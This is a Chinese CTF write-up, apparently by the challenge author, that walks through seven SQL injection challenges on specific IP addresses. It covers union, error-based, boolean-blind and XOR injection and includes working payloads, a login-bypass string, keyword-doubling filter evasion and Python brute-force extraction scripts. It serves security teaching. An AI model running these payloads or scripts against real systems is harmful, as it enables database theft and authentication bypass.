SDUT-SQL题解
?
?
?
sql01:(GET-無任何過濾)http://49.234.136.46:32711/index01.php
首先題目提示要輸入id,那就在url中加入?id=1得到:發現給了兩個回顯位
給出提示信息: flag in another table!(假裝自己不是出題人,哈哈哈哈哈)
然后需要找出id的閉合方式:? ? ? ? ? ? ? ?id=1' (報錯)? ? ? ? ? ? ? ? ? ? ??id=1' %23(正常,? %23為 #? ?注釋符,后面的語句被注釋掉 )
當用單引號閉合時,發現有報錯,確定id的閉合方式是 單引號
ok,現在得到的有用信息:? 兩個回顯位? ? ? ? ?閉合方式為? 單引號
可用的 注入方式:? ?聯合查詢? ? ? ?報錯注入? ? …………
(一 )聯合查詢:?
先用 order by 測 數據庫當前表的 字段數(列數):
?id=1' order by 2 %23 //正常 ?id=1' order by 3 %23 // 報錯說明 有 2 個字段
爆庫名:
?id=-1' union select 1,database() %23得到數據庫名: test_flag
爆表名:
?id=-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database() %23得到兩個表 : flag? 和 users? (因為前面提示說 flag 在另一個表里面? 那我們只用去 注入 flag 表就行了)
爆 字段:
?id=-1' union select 1,group_concat(column_name)from information_schema.columns where table_name = 'flag' %23得到兩個字段? id message
脫庫:(0x7e? 是十六進制的 ~? )
?id=-1' union select 1,group_concat(id,0x7e,message)from flag %23?
得到 flag :?flag{SDUT-HEIHEI-HAHA}
(二)報錯注入:
常用的 兩種簡單的報錯注入方式:
?id=1' and extractvalue(1,concat(0x7e,(payload))) %23?id=1' and updatexml(1,concat(0x7e,(payload)),1) %23這里用 第一種?做一個實例:
//爆庫名 ?id=1' and extractvalue(1,concat(0x7e,(database()))) %23只需要將下面的語句放入 payload 位置就可以了//爆表名 select group_concat(table_name) from information_schema.tables where table_schema = database()//爆字段 select group_concat(column_name) from information_schema.columns where table_name = 'flag'//脫庫 select group_concat(id,0x3a,message) from flag?
SQL2 : 單引號-GET型-報錯注入 ? ? ? ?http://49.234.136.46:32711/ind02.php?
提示讓輸入 id,那就輸入? ?id=1? ?依次輸入 2,3,4,都是這個界面,沒給回顯位
測閉合方式: 注入 ? ? ? ? ? ? ? ?id=1' (報錯)? ? ? ? ? ? ? ? ? ? ??id=1' %23(正常,? %23為 #? ?注釋符,后面的語句被注釋掉 )
說明閉合方式是? ?單引號
那這題最適合的注入方式是? 報錯注入
報錯注入:
常用的 兩種簡單的報錯注入方式:
?id=1' and extractvalue(1,concat(0x7e,(payload))) %23?id=1' and updatexml(1,concat(0x7e,(payload)),1) %23?
爆庫名:
?id=1' and extractvalue(1,concat(0x7e,(database()))) %23爆表名:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))) %23得到兩個表:sql2_flag? ?users
爆字段:
?
脫庫:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,0x7e,message) from sql2_flag ))) %23這里發現 信息沒有輸出完? 被截斷了? ? 這是因為? extractvalues()函數? 和 updatexml ()這兩個函數 最多能輸出 32位字符
所以這里我們? 不采用 group_concat() 函數 換用? concat()? ?+? limit? x,x? 進行一行一行輸出
//這里需要不斷改變 limit x,1 進行換行?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,message) from sql2_flag limit 0,1))) %23?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,message) from sql2_flag limit 1,1))) %23?
SQL3 : 單引號-GET型-布爾/延時注入-無過濾??
? ?http://49.234.136.46:32711/in03d.php
注入: ?id=1? ?
注入 ?id=1'? 不會報錯 ,? 不能用 報錯注入
注入? ? ?id=1' and '1' ='1'? ?%23
確定 閉合方式是? ?單引號閉合
肯定是用盲注? 具體是用? 延時注入? 還是? ?布爾注入 取決于個人喜好
手工 注入可能得 注入一輩子
布爾注入的原理:具體自己去百度:
如果用 布爾注入的話 還是得
先 看 正確時? 返回的頁面內容長度? ? ?526
錯誤時? ? 返回的頁面內容長度? ? ?496
我們就利用這一點? 去一個一個字符地爆破
比如:注入:
admin'and ascii(substr((database()),1,1))=117 #//字母 u 的 ascii是 117這里是截取? 查詢到的數據庫名 的第一個字母? 然后與? ?字符 'u' 對比? 如果? 數據庫名的第一個字母是 u??
這句話就是 是正確的? 就代表? username 是 正確的? ?返回的頁面內容大小為 526
若 數據庫名的第一個字母不是 u ,這個注入語句就是 flase? ?即? username是錯誤的 ,返回頁面內容的大小為 496
?
直接上腳本:python3
import requestsresult = "" url_template = "http://49.234.136.46:32711/in03d.php?id=2' and ascii(substr(({0}),{1},1))>{2} %23" chars = "-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz,.@&%/^!{}~" url_length = "http://49.234.136.46:32711/in03d.php?id=2' and length(({0})) >{1} %23"def get_result_length(payload,value):for n in range(1,100):url = url_length.format(payload,n)response = requests.get(url)length = len(response.text)if length < value:print("……data length is :" + str(n))return ndef get_db_name(data_length,payload,value):for i in range(1,data_length):for char in chars:url = url_template.format(payload,i,ord(char))response = requests.get(url)length = len(response.text)if length<value: #根據返回長度的不同來判斷字符正確與否global resultresult += charprint("…… data is :"+ result)break#自定義 sql注入語句 payload 分割符 為0 payload = "select database() " # 根據正確訪問時錯誤訪問時返回頁面文本長度的不同 來設置一個判斷值 正確時 返回字節長度是 526 錯誤時返回字節長度是 496 value = 510 data_length = get_result_length(payload,value)+1 get_db_name(data_length,payload,value) print(result)只需要改變 payload 語句就可以實現? 爆庫名 、表名、字段、脫庫等操作
這里給出具體的payload:
//爆庫名 select database()只需要將下面的語句放入 payload 位置就可以了//爆表名 select group_concat(table_name) from information_schema.tables where table_schema = database()//爆字段 select group_concat(column_name) from information_schema.columns where table_name = 'SDUT_flag'//脫庫 select group_concat(username,password) from SDUT_flag select concat(username,0x3a,password) from SDUT_flag limit 3,1數據庫名:
最終得到 flag:flag{SDUT_hei-hei-hei}? ? ?
?
這里附上 我的另一篇博客的 連接 有興趣的同學可以看看:(我好難啊! 自己出題,自己搭建服務,自己寫題解,嗚嗚)
SQL 盲注GET /POST、布爾型,延時型Python腳本:
https://blog.csdn.net/vhkjhwbs/article/details/98960802
有不懂的可以聯系我? qq:1571625800
再說一下? 腳本中 的 value 是怎么找的:Firefox? ? 中 按F12? ,然后在url中 注入? ? ? ? 刷新
?
SQL4 : 單引號-GET型-過濾or和and-雙寫繞過 ? ? ?
? ?http://49.234.136.46:32711/i04dx.php
?
?
注入? ?id=1? ?給了一個回顯位
注入 ?id=2'? 有報錯 可以用報錯注入
注入? ?id=2'? and '1' ='1' %23? ?還是報錯? ??? 不應該啊
仔細看看報錯 發現? and 沒了:應該是被過濾了
還過濾了啥呢??? 找找提示:
查看頁面源代碼:發現有一個提示:
是一個base 64 密文 在線解密后得到:?
Your 'and' and 'or' are filtered? ? ?說 and 和 or 被過濾了
ok ,用一下雙寫繞過,看可不可以,注入: ?id=1' anandd? '1' = '1'? %23? ?正常了
看來可以用 雙寫繞過? ?
不管是用 聯合查詢 還是用? 報錯注入,還是 盲注? ?在涉及到? ?and 和 or 這兩個字符時需要雙寫
anandd
oorr
給出脫庫的 payload:(特別注意在使用 information_schema 時? 要雙寫成 infoorrmation_schema? ? ,passwoorrd)
?
在用聯合查詢時 要先測? 用 order? by 字段數 (雙寫? ?oorrder? by)??這里測得字段數為? 3,且回顯位 在 1 號位
?id=-1' union select group_concat(username,0x7e,passwoorrd),2,3 from ctf %23flag~flag{daye-lpl-RNG}
?
SQL5 : POST型-無過濾 ? ? ? ? ? ? ? ? ? ??http://47.94.36.51:32710/index.php?
隨便輸入: admin? ?admin? 沒想到 登錄成功? :有兩個回顯位,可以回顯信息
輸入別的? 就會出現?usernname or password error!
首先 測? 閉合方式:
//在username中注入:admin' // usernname or password error!admin' # //登入a' or '1' ='1' # //萬能密碼 #會把 后面的password驗證注釋掉 所以不用填密碼確定閉合方式為? ?單引號閉合
因為沒有報錯 所以不能用 報錯注入
用聯合查詢 或者? 盲注 都是 可以的
聯合查詢:
以下注入 都是 在username中注入的? ,password可以不填(因為已經被#注釋掉了)
測 字段個數:說明有 2 個字段
爆庫名:
a' union select 1,database() #?
爆表名
a' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database() #爆字段::
?
脫庫:
?
flag:flag{LH-quan-shi_jie_zui_shuai}
?
SQL6 : POST型-布爾/延時注入 ? ? ? ? ? ? ? ? ? ? ?http://47.94.36.51:32711/index.php
隨便輸入? ?asss? ? ? ? 和 sdfasd? ?提示??username error!
輸入: admin? ?和? admin? ? ?提示password error ! (可知,有一個username 為 admin,頁面源代碼中給的 tip 也證實這一點, 其實這些題就是我出的,假裝自己不是出題人系列? 哈哈哈哈哈哈哈)
還是先測閉合方式:?
在username 中輸入: 閉合方式為? ? 單引號
admin' //username error!admin' # //password error!發現頁面只會 輸出 username error? 和? ? ?password error
不會報錯,也沒有回顯位 ,那只能用? ?盲注延時或者布爾了
知道了一個用戶名為 admin? 那爆出 admin的密碼不就可以得到flag了嘛!
注入點? 在 username
如果用 布爾注入的話 還是得
先 看 username正確時? 返回的頁面內容長度? ? ?2859
username? 錯誤時? ? 返回的頁面內容長度? ? ?2829
我們就利用這一點? 去一個一個字符地爆破
比如:注入:
admin'and ascii(substr((database()),1,1))=117 #//字母 u 的 ascii是 117這里是截取? 查詢到的數據庫名 的第一個字母? 然后與? ?字符 'u' 對比? 如果? 數據庫名的第一個字母是 u??
這句話就是 是正確的? 就代表? username 是 正確的? ?返回的頁面內容大小為 2859
若 數據庫名的第一個字母不是 u ,這個注入語句就是 flase? ?即? username是錯誤的 ,返回頁面內容的大小為 2829
?
Firefox? 中 按 F12? 點網絡 ,然后分別輸入正確的username 和錯誤的username? ?
查看 響應包信息:
?
上代碼:
?
表名:
改一下payload就可以 爆其他的信息:
脫庫:
得到,密碼:asdfasdfasdfsddd
輸入 admin? 和asdfasdfasdfsddd? ?得到flag:
是一段base 64 密文:ZmxhZ3tJJ20tc3VwZXJtYW59ICAgIAoKCg==
解密:flag{I'm-superman} ? ?
?
有興趣的話可以研究一下? ?延時的腳本?
可以參照我的另一篇博客:https://blog.csdn.net/vhkjhwbs/article/details/98960802
有不懂的可以聯系我? qq:1571625800
?
SQL7 : POST型-幾乎過濾所有字符-異或注入
? ? ? ? ?http://47.94.36.51:32710/lalala.html
這個題有點難度的,
輸入 admin admin? ?提示 : password error!
輸入 admin'? ?admin'? ?提示: username error!
輸入 admin'? ?#? ? ? ?提示:?Illegal character (這里不能確定到底誰是非法字符,需要進一步測試)
輸入 admin'#? ? ? ? ? ?提示: password error!
通過以上 輸入 知道了? 有一個用戶名為? admin?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?閉合方式為? 單引號
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?有部分字符被過濾了 (不知道到底有哪些字符被過濾了,怎么辦???)
肯定先要測試 有哪些字符被過濾了啊!
首先看看有沒有給提示:
在第一頁的源代碼里找到了這個提示:
說經常查看頁面源代碼是一個好習慣
那肯定有信息在 頁面源代碼里了,找找看:
在第二頁的 頁面源代碼里找到了 一段base 64 密文:
如果你是用 burp suite做代理做本題的話 很容易就會發現 這個tip:
?
base 64 密文:
ICAgICRkYXRhPSBwcmVnX3JlcGxhY2UoJy9bK10vJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnL1ssXS8nLCIiLCAkZGF0YSk7CiAgICAkZGF0YT0gcHJlZ19yZXBsYWNlKCcvWyBdLycsIiIsICRkYXRhKTsJICAgIAogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnLyYvJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnLyUvJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnL3VuaW9uL2knLCIiLCAkZGF0YSk7CiAgICAkZGF0YT0gcHJlZ19yZXBsYWNlKCcvYW5kL2knLCIiLCAkZGF0YSk7ICAgIA==
解密:把下面的字符全過濾
$data= preg_replace('/[+]/',"", $data);$data= preg_replace('/[,]/',"", $data);$data= preg_replace('/[ ]/',"", $data); $data= preg_replace('/&/',"", $data);$data= preg_replace('/%/',"", $data);$data= preg_replace('/union/i',"", $data);$data= preg_replace('/and/i',"", $data);過濾了? union? 不能用 聯合查詢?
過濾了? 逗號? ?srtsub()函數就不能按照常規用法
過濾了 空格 ,盡量避免用 空格,在需要用到空格的地方 就 用()代替
?
?上腳本:
import requestsurl = "http://47.94.36.51:32710/xxxg.php" char = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" result = '' for i in range(1,45):stop = 0for c in char:#兩個payload的表達方式不同 都是可以用的 ,任選其一#payload = "admin'^(ascii(mid((select(password)from(users)where(username)='admin')from({})))<>{})^0#".format(str(i),ord(c))payload = "admin'^(ascii(substr((select(password)from(users)where(username)='admin')from({0})))<>{1})^0#".format(str(i),ord(c))data = {'username': payload,'password': '123'}html = requests.post(url, data=data)if 'password' in html.text:result +=cstop =1print(i)print("......" + result)break #匹配到值后內循環停止if stop == 0: #當內循環匹配不到值的時候外循環就停止print("\n"+result)break得到admin的密碼 :?wotianxiawudi
登錄后得到:
?
flag{SDUT-wonderful-sss}
如果有什么不懂可以聯系我q 1571625800?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
總結
以上是生活随笔為你收集整理的SDUT-SQL题解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python 中的 sys 库 和 os
- 下一篇: CTF——MISC——流量分析